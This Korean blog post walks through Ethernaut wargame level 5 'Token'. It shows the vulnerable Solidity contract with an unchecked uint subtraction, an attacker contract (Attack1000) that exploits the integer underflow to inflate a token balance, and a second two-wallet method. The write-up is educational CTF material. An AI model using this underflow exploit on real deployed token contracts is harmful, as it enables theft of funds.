본문 바로가기
aaa
블록체인

[이더넛] 레벨5 'Token' 풀기

 [이더넛] 레벨5 'Token' 풀기


 

 

[목표]

uint256 변수의 언더플로우 특성을 이용해서
ERC20 토큰 잔고를 매우 크게 증가시키기

2021.07.28 - [블록체인] - uint 자료형의 허점을 노린 스마트컨트랙트 해킹

 

uint 자료형의 허점을 노린 스마트컨트랙트 해킹

uint 자료형의 허점을 노린 스마트컨트랙트 해킹 [요약] 내가 다른 사람에게 돈을 입금하려면 나의 은행 잔고는 당연히 입금하려는 돈 보다 많아야한다. 동일한 의도로 타겟 스마트컨트랙트 내에

orbing.tistory.com

 

이번 레벨은 이전 포스팅 글과 동일합니다.

 

 

복습겸 다시 진행해보겠습니다.

 

Full Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

 

 

 

player의 토큰 잔고량은 20입니다.

함수 transfer에 파라미터 uint 21을 넣고 호출하면 

다음과 같은 연산과정을 거칩니다.

 

balances[msg.sender] - _value 

=> 20 - 21 = -1

이때 -1은 uint -1 값이 됩니다.

 

솔리디티에서 uint는 uint256으로 음수가 되면

언더플로우가 되고 매우 큰 값이 됩니다.

 

  balances[msg.sender] -= _value;
  balances[_to] += _value;

 

그 다음 위 과정을 거치는데

EOA가 직접호출하여 _to 동일한 EOA 주소를 넣으면

EOA의 토큰잔고가

토큰 전송량이 감소하고 다시 동일한 토큰 수 만큼 증가하기 때문에

토큰 잔고가 증가하지 않습니다.

 

대신 다른 CA를 통해 Token Contract를 부르고

함수 transfer를 호출할때 파라미터 주소를 EOA(player)를 입력하면

EOA의 토큰 잔고를 증가시킬 수 있습니다.

 

 

컨트랙트 Attack1000으로 공격
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

contract Attack1000 {
    mapping(address => uint) balances;
    

    function hack() public {
       Token(0x3Bc7bEec593Be6caA3a6D75e043a870B939b006E).transfer(0x2BF5A2f4E77Ced2F6456d1b839b8e46E0E8e34E2,1000);
    }
    
}

 

Attack1000의 함수 hack을 실행한 뒤

player의 토큰 잔고가 1000 증가했습니다.

 

성공.

 

 

 

 

다른 방법

 

EOA1에서 Token 컨트랙트를 불러옵니다.

함수 transfer 파라미터에 (EOA2 주소, 20보다 큰수. 예시로 10,000)

를 입력하여 호출합니다.

 

그러면

 

  balances[msg.sender] -= _value;
  balances[_to] += _value;

 

  balances[EOA1] -= _value;
  balances[EOA2] += _value;

가 되고

 

EOA1의 잔고는 언더플로우 되어 매우 큰 값으로 잔고가 증가하고

EOA2의 잔고는 10,000 만큼 증가하게 됩니다.

 

공격후 EOA1 토큰 잔고.

 

공격후 EOA2 토큰 잔고 10,000개

 

 

 

'블록체인' 카테고리의 다른 글

[이더넛] 레벨7 'Force' 풀기  (0) 2021.08.12
[이더넛] 레벨6 'Delegation' 풀기  (0) 2021.08.12
[이더넛] 레벨4 'Telephone' 풀기  (0) 2021.08.11
[이더넛] 레벨3 'Coin Flip' 풀기  (0) 2021.08.10
이더넛 레벨2 풀기  (0) 2021.08.10

loading